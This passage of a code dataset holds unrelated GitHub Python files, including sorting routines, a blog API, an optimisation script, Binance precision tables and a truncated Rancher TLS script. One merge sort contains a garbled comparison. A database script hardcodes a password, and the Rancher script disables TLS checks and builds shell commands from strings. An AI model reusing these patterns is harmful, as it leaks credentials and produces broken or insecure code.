    \n
    2 (hijau)Very high crime
    (Kriminalitas sangat tinggi)
    \n
      \n
    • Crime total menengah ke atas
    • \n
    • Crime rate menengah ke atas
    • \n
    \n
    3 (ungu)Very low crime
    (Kriminalitas sangat rendah)
    \n
      \n
    • Crime total rendah
    • \n
    • Crime rate rendah
    • \n
    \n
    4 (biru)Low crime
    (Kriminalitas rendah)
    \n
      \n
    • Crime total rendah
    • \n
    • Crime rate menengah ke atas
    • \n
    \n
    \n
    \n '''\n st.markdown(crime_table, unsafe_allow_html=True)\n st.write(\"\\n\")\n","repo_name":"avania3008/CriMap","sub_path":"page/Map.py","file_name":"Map.py","file_ext":"py","file_size_in_byte":19156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37832003311","text":"\"\"\"Pandas backend utilities.\"\"\"\n\nfrom typing import Union\n\nfrom pandera.dtypes import UniqueSettings\n\n\ndef convert_uniquesettings(unique: UniqueSettings) -> Union[bool, str]:\n \"\"\"\n Converts UniqueSettings object to string that can be passed onto pandas .duplicated() call\n \"\"\"\n # Default `keep` argument for pandas .duplicated() function\n keep_argument: Union[bool, str]\n if unique == \"exclude_first\":\n keep_argument = \"first\"\n elif unique == \"exclude_last\":\n keep_argument = \"last\"\n elif unique == \"all\":\n keep_argument = False\n else:\n raise ValueError(\n str(unique) + \" is not a recognized report_duplicates value\"\n )\n return keep_argument\n","repo_name":"unionai-oss/pandera","sub_path":"pandera/backends/pandas/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":2685,"dataset":"github-code","pt":"75"} +{"seq_id":"35160287091","text":"\ndef merge_sort(a):\n if len(a) > 1:\n mid = len(a)//2\n print(mid)\n left_half = a[:mid]\n print(left_half)\n right_half = a[mid:]\n print(right_half)\n\n print(merge_sort(left_half))\n print(merge_sort(right_half))\n\n i,j,k = 0,0,0\n while i len(right_half)[j]:\n a[k]= right_half[j]\n j+=1\n else:\n a[k] = left_half[i]\n i+=1\n k+=1\n return a\n\n\n\n\n\nif __name__ == '__main__':\n a=[53,13,1,4,3,42,11,8]\n\n print(merge_sort(a))","repo_name":"HoonHaChoi/algorithm1","sub_path":"merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6601600961","text":"import math\n\n\nclass Merge:\n def __init__(self, array):\n self.array = array\n\n # point\n # 1. left(i)가 mid가 될 때 까지\n # 2. mid+1(j)이 right가 될 때 까지\n # 3. 변경 시작 지점(start)은 left\n # 4. 남아있는 것(i!=mid & j!=right)도 옮겨줌\n # 5. temp를 array에 덮어 씌움\n def merge(self, left, mid, right):\n\n i = left\n j = mid+1\n start = left\n temp = [None for i in range(0, len(self.array))]\n\n while i <= mid and j <= right:\n if self.array[i] < self.array[j]:\n temp[start] = self.array[i]\n start = start + 1\n i = i + 1\n else:\n temp[start] = self.array[j]\n start = start+1\n j = j + 1\n\n while i == mid:\n temp[start] = self.array[i]\n i = i+1\n start = start+1\n\n while j == right:\n temp[start] = self.array[j]\n j = j+1\n start = start+1\n\n for i in range(len(temp)):\n if temp[i] is not None:\n self.array[i] = temp[i]\n\n # point\n # left 먼저 쭉 내려 간 뒤에 right랑 하나씩 병합\n # 시간복잡도는 합병 단계수 * 비교\n # => O(nlogn)\n def sort(self, left, right):\n # left right 같아지는 시점이 종료지점\n if left < right:\n mid = math.trunc((left + right)/2)\n self.sort(left, mid)\n self.sort(mid+1, right)\n self.merge(left, mid, right)\n\n\nif __name__ == '__main__':\n a = [21, 10, 12, 20, 25, 13, 15, 22]\n merge = Merge(a)\n merge.sort(0, len(a)-1)\n print(a)\n","repo_name":"sigirace/portfolio_shinkangsik","sub_path":"0. algorithm/1. sort/4. merge_sort.py","file_name":"4. merge_sort.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9013554339","text":"def include(lib, out, placeholder):\n return out.replace(placeholder, lib)\n\ndef remove_tests(code):\n import re\n return re.sub(r'#ifndef\\ TESTS(.|\\s)*?#endif\\s*', '', code)\n\nif __name__ == '__main__':\n import os\n import sys\n\n library_name = sys.argv[2]\n if library_name[-4:] == '.cpp':\n raise Exception('You should not include the .cpp extension at the end of the library name')\n library_path = os.path.expanduser('~/dev/competitive/lib/')\n input_file = sys.argv[1]\n\n with open(library_path + library_name + '.cpp', 'r') as libfile:\n library = libfile.read()\n\n with open(input_file, 'r') as clientcodefile:\n clientcode = clientcodefile.read()\n\n clientcode = include(library, clientcode, '[' + library_name + ']')\n clientcode = remove_tests(clientcode)\n\n with open(input_file, 'w') as clientcodefile:\n clientcodefile.write(clientcode)\n","repo_name":"thyagostall/competitive","sub_path":"utils/libinc.py","file_name":"libinc.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72951981363","text":"\"\"\"\nHandler for public blog actions such as fetching posts or tags\n\"\"\"\nimport re\nfrom aiohttp import web\nimport bson\nimport pymongo\nfrom pymongo.collation import Collation\n\nfrom blogapi import utils\nfrom blogapi.application import BlogRequest\n\n\npublic_projection = {'published': 1, 'createdAt': 1}\n\n\nasync def get_all_posts_handler(request: BlogRequest, return_all=False):\n \"\"\"\n ---\n get:\n description: Return all blog posts based on the query\n parameters:\n - in: query\n name: page\n required: true\n schema:\n type: number\n description: The page to load\n - in: query\n name: limit\n required: true\n schema:\n type: number\n description: How many posts to load\n - in: query\n name: search\n required: true\n schema:\n type: string\n description: A string to be searched\n - in: query\n name: preview\n required: true\n schema:\n type: boolean\n description: Whether or not to only return preview data\n responses:\n 200:\n content:\n application/json:\n schema:\n type: object\n required:\n - posts\n - numPages\n - page\n properties:\n posts:\n type: array\n items:\n \"$ref\": \"#/components/schemas/Post\"\n numPages:\n type: number\n page:\n type: number\n \"\"\"\n database = request.app.database\n query = {'published': {'$exists': True}}\n\n projection = public_projection\n if request.user:\n projection = None\n\n page = int(request.query.get('page', 1))\n search = request.query.get('search', '')\n tags = request.query.getall('tags', None)\n if search != '':\n rgx = re.compile(search, re.I)\n query = {\n **query,\n '$or': [\n {'published.text': {'$regex': rgx}},\n {'published.title': {'$regex': rgx}},\n {'published.tags': {'$regex': rgx}}\n ]\n }\n elif tags:\n query = {\n **query,\n '$or': [\n {'published.tags': {'$in': tags}}\n ]\n }\n\n limit = int(request.query.get('limit', 10))\n paginated = utils.paginate(database.posts,\n query,\n page=page,\n limit=limit,\n projection=projection)\n\n post_cursor, num_pages, current_page = paginated\n if return_all:\n post_cursor = database.posts.find(query, projection).collation(\n Collation(locale='en', strength=2))\n\n post_cursor = post_cursor.sort('createdAt', pymongo.DESCENDING)\n\n preview = request.query.get('preview', False)\n all_posts = []\n for post in post_cursor:\n if preview:\n if post.get('published'):\n del post['published']['text']\n del post['published']['html']\n del post['published']['version']\n all_posts.append(post)\n\n return utils.json_response({'posts': all_posts, 'numPages': num_pages, 'page': current_page})\n\n\nasync def get_post_handler(request: BlogRequest):\n \"\"\"\n ---\n get:\n description: Return a single blog post\n parameters:\n - in: path\n name: id\n required: true\n schema:\n type: string\n description: The post id\n responses:\n 200:\n content:\n application/json:\n schema:\n type: object\n required:\n - post\n properties:\n post:\n \"$ref\": \"#/components/schemas/Post\"\n \"\"\"\n post_id = request.match_info.get('id', None)\n if not post_id:\n return web.HTTPBadRequest(reason=\"No post id\")\n\n database = request.app.database\n query = {'_id': bson.ObjectId(post_id), 'published': {'$exists': True}}\n projection = public_projection\n\n if request.user:\n del query['published']\n projection = None\n\n post = database.posts.find_one(query, projection)\n if not post:\n return web.HTTPNotFound(reason=\"Post does not exist\")\n\n return utils.json_response({'post': post})\n\n\nasync def get_tags(request: BlogRequest):\n \"\"\"\n ---\n get:\n description: A distinct view of all available tags\n responses:\n 200:\n content:\n application/json:\n schema:\n type: object\n properties:\n tags:\n type: array\n items:\n type: string\n \"\"\"\n database = request.app.database\n\n tags = database.posts.distinct('published.tags')\n\n return utils.json_response({'tags': tags})\n","repo_name":"BFriedrichs/bjornf.dev","sub_path":"packages/api/blogapi/api/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":5562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11740278296","text":"import cvxpy as cp\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport pandas as pd\n\n\n\n\"\"\"\nTitle: cvxpy, optimization, linear programming\n\nAuthor: Miguel Angel Verdi Resendiz, verdi.resendiz.miguel@gmail.com\nDescription: This algorithm uses the library cvxpy to optimaze the profit \nof a factory that is producing 3 diferent products\n\"\"\"\n\n\n#Specifications of the product's prices\nprice_a = np.full(12, 325.)\n\n\nprice_b = np.array([300, 300, 290, 275, 275, 280,\n 260, 250, 230, 200, 210, 190.])\n\n\nprice_c = np.array([100, 110, 98, 115, 200, 220,\n 210, 500, 500, 490, 487, 550.])\n\n\n\n\n#A dictionary to create the data frame, empty at the beginning\ndata = {'Month': ['Jan','Feb','Mar','Apr',\n 'May','Jun','Jul','Aug','Sep',\n\t\t'Oct','Nov','Dec'],\n 'Pieces of A': np.zeros(12),\n 'Pieces of B': np.zeros(12),\n 'Pieces of C': np.zeros(12),\n 'Profit': np.zeros(12)\n }\n\ndf = pd.DataFrame(data)\n\n\n\n#4 arrays to save the calculations of the algorithm\npieces_of_A = []\npieces_of_B = []\npieces_of_C = []\nprofit = []\n\n\n#We iterate in each moth so each iteration we get 4 quantities,\n#products per month, and profit per month\nfor n_month,month in enumerate(df['Month']):\n \n \n prices = [price_a[n_month], price_b[n_month],price_c[n_month]] #Prices in determinated month (a,b,c)\n \n pieces = cp.Variable(3) #Number of pieces in a month (a,b,c) \n \n\n \n constraints = [\n \n cp.sum(pieces) <= 10000,\n pieces >= 2000,\n pieces[2] <= 5000 if n_month > 5 else True,\n pieces[1] <= 4500,\n pieces[0] <= 4000 if n_month < 5 else True,\n \n ]#Conditions that the problem specified. \n \n \n \n objective = cp.Maximize(prices*pieces)\n problem = cp.Problem(objective, constraints) \n problem.solve(verbose=True)\n \n\n #Saves the values of number of products\n pieces_of_A.append(pieces.value[0])\n pieces_of_B.append(pieces.value[1])\n pieces_of_C.append(pieces.value[2])\n \n \n profit.append(sum(prices*pieces.value))\n \n\n\n#We fill the data frame, having all the arrays\ndf['Pieces of A'] = pieces_of_A\ndf['Pieces of B'] = pieces_of_B\ndf['Pieces of C'] = pieces_of_C\ndf['Profit'] = profit \n\n#Pints the data frame\nprint(df)\nprint(f\"Total profit of the next year: {round(df.sum(axis = 0)['Profit'])}\")\n\n\n\n\n#We plot the information of the number of products that should be made.\nfig, ax = plt.subplots(3 , sharey = True)\n\nax[0].bar(df['Month'], df['Pieces of A'], color = 'red')\nax[0].set_title('Product A') \nax[1].bar(df['Month'], df['Pieces of B'], color = 'blue')\nax[1].set_title('Product B') \nax[2].bar(df['Month'], df['Pieces of C'], color = 'green')\nax[2].set_title('Product C') \n\nfor i in range(3):\n ax[i].set_ylabel('N of products')\n ax[i].grid(True)\n \nfig.suptitle(f\"Total profit of the next year: {round(df.sum(axis = 0)['Profit'])}\") # or plt.suptitle('Main title')\n\nfig.set_figheight(7) \nfig.set_figwidth(10) \nfig.subplots_adjust(hspace = 0.8) \nplt.show()\n\n ","repo_name":"MiguelVerdi/Personal-Works","sub_path":"Linear Programming.py","file_name":"Linear Programming.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23265182480","text":"#!/usr/bin/python3\ndef safe_print_list(my_list=[], x=0):\n try:\n for ki in range(x):\n print(my_list[ki], end=\"\")\n except IndexError:\n x = ki\n finally:\n print()\n return x\n","repo_name":"Brian-thee-shovi/alx-higher_level_programming","sub_path":"0x05-python-exceptions/0-safe_print_list.py","file_name":"0-safe_print_list.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11952965761","text":"total = int(input())\nleafs = [int(x) for x in input().split()]\n\nnums = [0]*(2**total)\n\nfor i,leaf in enumerate(leafs):\n index = int(bin(i)[2:].zfill(total)[::-1],2)\n nums[index] = leaf\n\n\nrand = 2\ncount = 0\nwhile len(nums) > 1:\n new_nums = []\n for i in range(0,len(nums),2):\n if nums[i]==nums[i+1]:\n new_nums.append(nums[i])\n else:\n new_nums.append(rand)\n rand += 1\n count += 2\n nums= new_nums\n\n\n\nprint(count+1)","repo_name":"Hansel34/CPC","sub_path":"Kattis/Python/decisions.py","file_name":"decisions.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11095592975","text":"import unittest\nfrom bold_words_in_string import Solution\n\n\nclass TestSolution(unittest.TestCase):\n def test_Calculate_Solution(self):\n sol = Solution()\n self.assertEqual(\"aabcd\", sol.boldWords([\"ab\", \"bc\"], \"aabcd\"))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"daydaychallenge/leetcode-python","sub_path":"00758/test_bold_words_in_string.py","file_name":"test_bold_words_in_string.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43345749959","text":"import numpy as np\nimport torch\n\nfrom Models.Encoder import Encoder\nimport torch.optim as optim\nimport redis\nimport _pickle as cPickle\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nbsize = 25\ntime_step = 10\nobs = np.load(\"test.npy\")\nobs = np.repeat(obs[np.newaxis, ...], time_step, 0)\nobs = np.repeat(obs[np.newaxis, ...], bsize, 0)\nobs = torch.tensor(obs).float().to(device)\nact = torch.zeros((bsize, time_step-1, 2)).float().to(device)\nnetwork = Encoder(cnn_out_size=100, action_out_size=16, lstm_hidden_size=15, action_shape=(2, 3), atten_size=7)\nconnect=redis.Redis(\"localhost\")\nconnect.rpush(\"netwrok\", cPickle.dumps(network.state_dict()))\noptimizer = optim.SGD(network.parameters(), lr=0.001, momentum=0.9)\n# hidden_state, cell_state, lstm_out = network.lstm.init_hidden_states_and_outputs(bsize)\n# lstm_out, (hidden_state, cell_state), dqn_out, out_per_action, (\n# hidden_state_per_action, cell_state_per_action) = network(obs, act, bsize, hidden_state, cell_state, lstm_out)\nprint(\"Model's state_dict:\")\nfor param_tensor in network.state_dict():\n print(param_tensor, \"\\t\", network.state_dict()[param_tensor].size())\n\nprint()\n\n# Print optimizer's state_dict\nprint(\"Optimizer's state_dict:\")\nfor var_name in optimizer.state_dict():\n print(var_name, \"\\t\", optimizer.state_dict()[var_name])","repo_name":"DarrellDai/Distributed-RL","sub_path":"Network_test.py","file_name":"Network_test.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36758394567","text":"import requests\r\nupload_url = ''\r\nfile_path = ''\r\n\r\nheaders = {'Content-Type': \"text/plain\"}\r\n\r\n\r\ndef connect_to_endpoint(url):\r\n response = requests.put(url, data=open(file_path, 'rb'), headers=headers)\r\n print(response.status_code)\r\n if response.status_code != 200:\r\n raise Exception(response.status_code, response.text)\r\n return response.text\r\n\r\n\r\ndef main():\r\n response = connect_to_endpoint(upload_url)\r\n print(response)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"Dzh831/Project2","sub_path":"phase_1(a)/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40933532814","text":"import psycopg2 #PostgreSQL connector\nimport psycopg2.extras #Allows use of dict and named cursors\nimport wordfunctions\nimport re\n\nwordFunc = wordfunctions\n\n#DB connection params\nconn = psycopg2.connect(\n host=\"localhost\",\n database=\"PyReddit\",\n user=\"Vance\",\n password=\"Slirb007\")\n\n\n#Create named cursors for the db connection\n#can access the fields by curname.fieldname\ncur = conn.cursor(cursor_factory=psycopg2.extras.NamedTupleCursor)\nsubcur = conn.cursor(cursor_factory=psycopg2.extras.NamedTupleCursor)\n\n#Get all the comments for parsing\ncur.execute(\"SELECT uniqueid, commentname, body, threadid, author FROM comments\")\n\n# Loop through stretching each word and rebuilding\nfor comment in cur: \n\n # First we see if we need to process this comment, if it is already in the db\n # then we should save processing and not stretch the words\n subcur.execute(\"SELECT uniqueid FROM comments_modified WHERE commentname = %s;\", (comment.commentname,))\n commentid = subcur.fetchone()\n if commentid == None:\n\n bodystring = comment.body.replace(\"\\n\",chr(2)) # Replace the line breaks with char 2 for proper processing\n \n # Build the list of words for processing\n wordlist = bodystring.split()\n\n # Loop through that list replacing as needed\n for idx, x in enumerate(wordlist):\n\n # Skip the char 2 for line breaks\n if x == chr(2):\n next\n \n # Use a temp variable to hold the word\n wordString = x\n\n # Use regex to only get the word from this \n res = re.findall(r'\\w+', wordString)\n\n # Loop through the words in this replacing the values in the original string\n # with the streched versions. This is to work properly with words with -, \", ', (, ), etc\n for ridx, r in enumerate(res):\n wordString = wordString.replace(r, wordFunc.stretchWord(r))\n\n wordlist[idx] = wordString\n\n # Rebuild the text from the changed list and then put the line breaks back into it\n outputList = \" \".join(wordlist)\n outputList = outputList.replace(chr(2), \"\\n\")\n \n # Now we add this to the db \n sqlQuery = \"INSERT INTO comments_modified (body, commentname, threadid, author) VALUES (%s, %s, %s, %s);\"\n \n #Insert the record into the db\n subcur.execute(sqlQuery,(outputList, comment.commentname, comment.threadid, comment.author))\n conn.commit() \n\n#Close the db conenction\ncur.close()\nsubcur.close()\nconn.close()\n\n","repo_name":"Slirb/PythonPlayground","sub_path":"CommentModification.py","file_name":"CommentModification.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5615465712","text":"from binance.currency_utils import get_currency_pair_to_binance\nfrom utils.currency_utils import split_currency_pairs\nfrom utils.string_utils import truncate_float\nfrom enums.currency import CURRENCY\n\n\n# BASE_CURRENCY = BTC\nPRECISION_BTC_NUMBER = {\n \"ETHBTC\": 3,\n \"LTCBTC\": 2,\n \"BNBBTC\": 0,\n \"NEOBTC\": 2,\n \"GASBTC\": 2,\n \"BCCBTC\": 3,\n \"MCOBTC\": 2,\n \"WTCBTC\": 0,\n \"QTUMBTC\": 2,\n \"OMGBTC\": 2,\n \"ZRXBTC\": 0,\n \"ZILBTC\": 0,\n \"STRATBTC\": 2,\n \"SNGLSBTC\": 0,\n \"BQXBTC\": 0,\n \"KNCBTC\": 0,\n \"FUNBTC\": 0,\n \"SNMBTC\": 0,\n \"LINKBTC\": 0,\n \"XVGBTC\": 0,\n \"CTRBTC\": 0,\n \"SALTBTC\": 2,\n \"IOTABTC\": 0,\n \"MDABTC\": 0,\n \"MTLBTC\": 0,\n \"SUBBTC\": 0,\n \"EOSBTC\": 0,\n \"SNTBTC\": 0,\n \"ETCBTC\": 2,\n \"MTHBTC\": 0,\n \"ENGBTC\": 0,\n \"DNTBTC\": 0,\n \"BNTBTC\": 0,\n \"ASTBTC\": 0,\n \"DASHBTC\": 3,\n \"ICNBTC\": 0,\n \"OAXBTC\": 0,\n \"BTGBTC\": 2,\n \"EVXBTC\": 0,\n \"REQBTC\": 0,\n \"LRCBTC\": 0,\n \"VIBBTC\": 0,\n \"HSRBTC\": 0,\n \"TRXBTC\": 0,\n \"POWRBTC\": 0,\n \"ARKBTC\": 2,\n \"YOYOBTC\": 0,\n \"XRPBTC\": 0,\n \"MODBTC\": 0,\n \"ENJBTC\": 0,\n \"STORJBTC\": 0,\n \"VENBTC\": 0,\n \"KMDBTC\": 0,\n \"RCNBTC\": 0,\n \"NULSBTC\": 0,\n \"RDNBTC\": 0,\n \"XMRBTC\": 3,\n \"DLTBTC\": 3,\n \"AMBBTC\": 3,\n \"BATBTC\": 0,\n \"ZECBTC\": 3,\n \"BCPTBTC\": 0,\n \"ARNBTC\": 0,\n \"GVTBTC\": 2,\n \"CDTBTC\": 0,\n \"GXSBTC\": 2,\n \"POEBTC\": 0,\n \"QSPBTC\": 0,\n \"BTSBTC\": 0,\n \"XZCBTC\": 2,\n \"LSKBTC\": 2,\n \"TNTBTC\": 0,\n \"FUELBTC\": 0,\n \"MANABTC\": 0,\n \"BCDBTC\": 3,\n \"DGDBTC\": 3,\n \"ADXBTC\": 0,\n \"ADABTC\": 0,\n \"PPTBTC\": 2,\n \"CMTBTC\": 0,\n \"XLMBTC\": 0,\n \"CNDBTC\": 0,\n \"LENDBTC\": 0,\n \"WABIBTC\": 0,\n \"TNBBTC\": 0,\n \"WAVESBTC\": 2,\n \"ICXBTC\": 2,\n \"GTOBTC\": 0,\n \"OSTBTC\": 0,\n \"ELFBTC\": 0,\n \"AIONBTC\": 0,\n \"NEBLBTC\": 0,\n \"XEMBTC\": 0\n}\n\n\nPRECISION_ETH_NUMBER = {\n \"BNBETH\": 0,\n \"QTUMETH\": 2,\n \"SNTETH\": 0,\n \"BNTETH\": 2,\n \"EOSETH\": 2,\n \"OAXETH\": 0,\n \"DNTETH\": 0,\n \"MCOETH\": 2,\n \"ICNETH\": 0,\n \"WTCETH\": 2,\n \"OMGETH\": 2,\n \"ZRXETH\": 0,\n \"ZILETH\": 0,\n \"STRATETH\": 2,\n \"SNGLSETH\": 0,\n \"BXQETH\": 0,\n \"KNCETH\": 0,\n \"FUNETH\": 0,\n \"SNMETH\": 0,\n \"NEOETH\": 2,\n \"LINKETH\": 1,\n \"XVGETH\": 1,\n \"CTRETH\": 1,\n \"SALTETH\": 2,\n \"IOTAETH\": 0,\n \"MDAETH\": 0,\n \"MTLETH\": 0,\n \"SUBETH\": 1,\n \"ETCETH\": 2,\n \"MTHETH\": 0,\n \"ENGETH\": 0,\n \"ASTETH\": 0,\n \"DASHETH\": 3,\n \"BTGETH\": 2,\n \"EVXETH\": 0,\n \"REQETH\": 0,\n \"LRCETH\": 0,\n \"VIBETH\": 0,\n \"HSRETH\": 2,\n \"TRXETH\": 0,\n \"POWRETH\": 0,\n \"ARKETH\": 2,\n \"YOYOETH\": 0,\n \"XRPETH\": 0,\n \"MODETH\": 0,\n \"ENJETH\": 0,\n \"STORJETH\": 0,\n \"VENETH\": 0,\n \"KMDETH\": 0,\n \"RCNETH\": 0,\n \"NULSETH\": 0,\n \"RDNETH\": 0,\n \"XMRETH\": 0,\n \"DLTETH\": 0,\n \"AMBETH\": 0,\n \"BCCETH\": 0,\n \"BATETH\": 0,\n \"ZECETH\": 3,\n \"BCPTETH\": 0,\n \"ARNETH\": 0,\n \"GVTETH\": 2,\n \"CDTETH\": 0,\n \"GXSETH\": 2,\n \"POEETH\": 0,\n \"QSPETH\": 0,\n \"BTSETH\": 0,\n \"XZCETH\": 0,\n \"LSKETH\": 0,\n \"TNTETH\": 0,\n \"FUELETH\": 0,\n \"MANAETH\": 0,\n \"BCDETH\": 3,\n \"DGDETH\": 3,\n \"ADXETH\": 0,\n \"ADAETH\": 0,\n \"PPTETH\": 0,\n \"CMTETH\": 0,\n \"XLMETH\": 0,\n \"CNDETH\": 0,\n \"LENDETH\": 0,\n \"WABIETH\": 0,\n \"LTCETH\": 3,\n \"TNBETH\": 0,\n \"WAVESETH\": 2,\n \"ICXETH\": 2,\n \"GTOETH\": 0,\n \"OSTETH\": 0,\n \"ELFETH\": 0,\n \"AIONETH\": 2,\n \"NEBLETH\": 2,\n \"BRDETH\": 0,\n \"EDOETH\": 2,\n \"WINGSETH\": 0,\n \"NAVETH\": 2,\n \"LUNETH\": 2,\n \"TRIGETH\": 2,\n \"APPCETH\": 0,\n \"VIBEETH\": 0,\n \"RLCETH\": 2,\n \"INSETH\": 2,\n \"PIVXETH\": 2,\n \"IOSTETH\": 0,\n \"CHATETH\": 0,\n \"STEEMETH\": 2,\n \"NANOETH\": 2,\n \"VIAETH\": 2,\n \"BLZETH\": 0,\n \"AEETH\": 2,\n \"RPXETH\": 0,\n \"NCASHETH\": 0,\n \"POAETH\": 0,\n \"XEMETH\": 0\n}\n\n\nPRECISION_USDT_NUMBER = {\n \"BTCUSDT\": 6,\n \"ETHUSDT\": 5,\n \"BNBUSDT\": 2,\n \"BCCUSDT\": 5,\n \"NEOUSDT\": 3,\n \"LTCUSDT\": 5\n}\n\nPRECISION_NUMBER = {\n CURRENCY.BITCOIN: PRECISION_BTC_NUMBER,\n CURRENCY.ETH: PRECISION_ETH_NUMBER,\n CURRENCY.USDT: PRECISION_USDT_NUMBER\n}\n\n\ndef round_volume_by_binance_rules(volume, pair_id):\n pair_name = get_currency_pair_to_binance(pair_id)\n base_currency_id, dst_currency_id = split_currency_pairs(pair_id)\n\n if pair_name in PRECISION_NUMBER[base_currency_id]:\n return truncate_float(volume, PRECISION_NUMBER[base_currency_id][pair_name])\n\n return volume\n","repo_name":"kruglov-dmitry/crypto_crawler","sub_path":"binance/precision_by_currency.py","file_name":"precision_by_currency.py","file_ext":"py","file_size_in_byte":4586,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"75"} +{"seq_id":"16333133259","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 26 18:17:09 2019\r\n\r\n@author: fmna\r\n\"\"\"\r\n\r\nimport math as m\r\n\r\ndef f(x): \r\n #return x**2; #[0,2]\r\n return m.sin(x) #[pi/2,pi]\r\n\r\ndef trapezio(a,b,n):\r\n h = abs((b-a)/n)\r\n total = 0\r\n for i in range(1,n):\r\n total += 2*f(a+i*h)\r\n\r\n total+= f(a)+f(a+n*h)\r\n total *= h/2\r\n return total \r\n\r\n# Calculo do coeficiente de convergencia\r\n\r\nr1 = trapezio(m.pi/2,m.pi,100)\r\nr2 = trapezio(m.pi/2,m.pi,200)\r\nr3 = trapezio(m.pi/2,m.pi,400)\r\n\r\ncoeficiente = (r2-r1)/(r3-r2) \r\nprint(\"r1:\",r1)\r\nprint(\"r2:\",r2)\r\nprint(\"r3\", r3)\r\nprint(\"coeficiente:\", coeficiente)\r\n\r\n# Calculo do erro \r\n\r\nerro = (r3-r2)/3\r\nprint(\"erro:\", abs(erro))\r\n","repo_name":"andrenasx/FEUP-MNUM","sub_path":"4.Integrais/Trapezio.py","file_name":"Trapezio.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71427197362","text":"import os\nfrom datetime import datetime, date, timedelta\nfrom operator import itemgetter\n\ntry:\n import requests\n import json\n import argparse\nexcept ImportError:\n print('\\nYou have to install \"requests\" module with:\\n python -m pip install requests')\n exit()\n\n\nRANCHER_URL = \"\"\nSOURCE_PROJECT = \"\"\nAUTH_TOKEN = \"\"\nOLD_SECRET = \"\"\nNEW_SECRET = \"\"\nRANCHER_BIN = './rancher '\nKUBECTL = RANCHER_BIN + ' kubectl'\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\ndef check_settings():\n global RANCHER_URL\n global DEST_PROJECT\n global AUTH_TOKEN\n global RANCHER_BIN\n global KUBECTL\n global OLD_SECRET\n global NEW_SECRET\n\n print(\"Checking params...\")\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--server\",\n help=\"Set rancher instance url\")\n parser.add_argument(\"--dest\",\n help=\"Set a rancher project ID where to update ingress, multiple values allowed\")\n parser.add_argument(\"--token\",\n help=\"Set the rancher auth token\")\n parser.add_argument(\"--rancher-path\",\n help=\"Set rancher binary path (default to ./rancher)\")\n parser.add_argument(\"--old-secret\",\n help=\"secret tls to change\")\n parser.add_argument(\"--new-secret\",\n help=\"new secret tls to set\")\n\n args = parser.parse_args()\n if args.server:\n RANCHER_URL = args.server\n if args.dest:\n DEST_PROJECT = args.dest\n if args.token:\n AUTH_TOKEN = args.token\n if args.rancher_path:\n RANCHER_BIN = args.rancher_path\n if args.old_secret:\n OLD_SECRET = args.old_secret\n if args.new_secret:\n NEW_SECRET = args.new_secret\n\n if RANCHER_URL == \"\":\n print(\"ERR: No Rancher URL defined\")\n exit()\n if DEST_PROJECT == \"\":\n print(\"ERR: No Destination Project defined\")\n exit()\n if OLD_SECRET == \"\":\n print(\"ERR: No old Secret defined\")\n exit()\n if NEW_SECRET == \"\":\n print(\"ERR: No new Secret defined\")\n exit()\n if AUTH_TOKEN == \"\":\n print(\"ERR: No Auth Token defined\")\n exit()\n\n KUBECTL = RANCHER_BIN + ' kubectl'\n\n\ndef create_tls(name, key, crt):\n global AUTH_TOKEN\n global RANCHER_URL\n global DEST_PROJECT\n\n headers = {\n 'Authorization': 'Bearer ' + AUTH_TOKEN,\n 'Content-type': 'application/json',\n }\n data = {\n 'type': 'certificate',\n 'name': name,\n 'key': key,\n 'certs': crt\n }\n #print(json.dumps(data))\n api_url = RANCHER_URL + '/v3/project/'+ DEST_PROJECT + '/certificate'\n response = requests.post(api_url, headers = headers, data = json.dumps(data), verify=False)\n return response.status_code\n\ndef rancher_login(project):\n global AUTH_TOKEN\n global RANCHER_URL\n print(\"Login to rancher...\")\n cmd = RANCHER_BIN + ' login ' + RANCHER_URL + ' -t ' + AUTH_TOKEN + ' --context ' + project\n result = os.popen(cmd).read()\n if result != '':\n print(result)\n exit()\n\nif __name__ == \"__main__\":\n 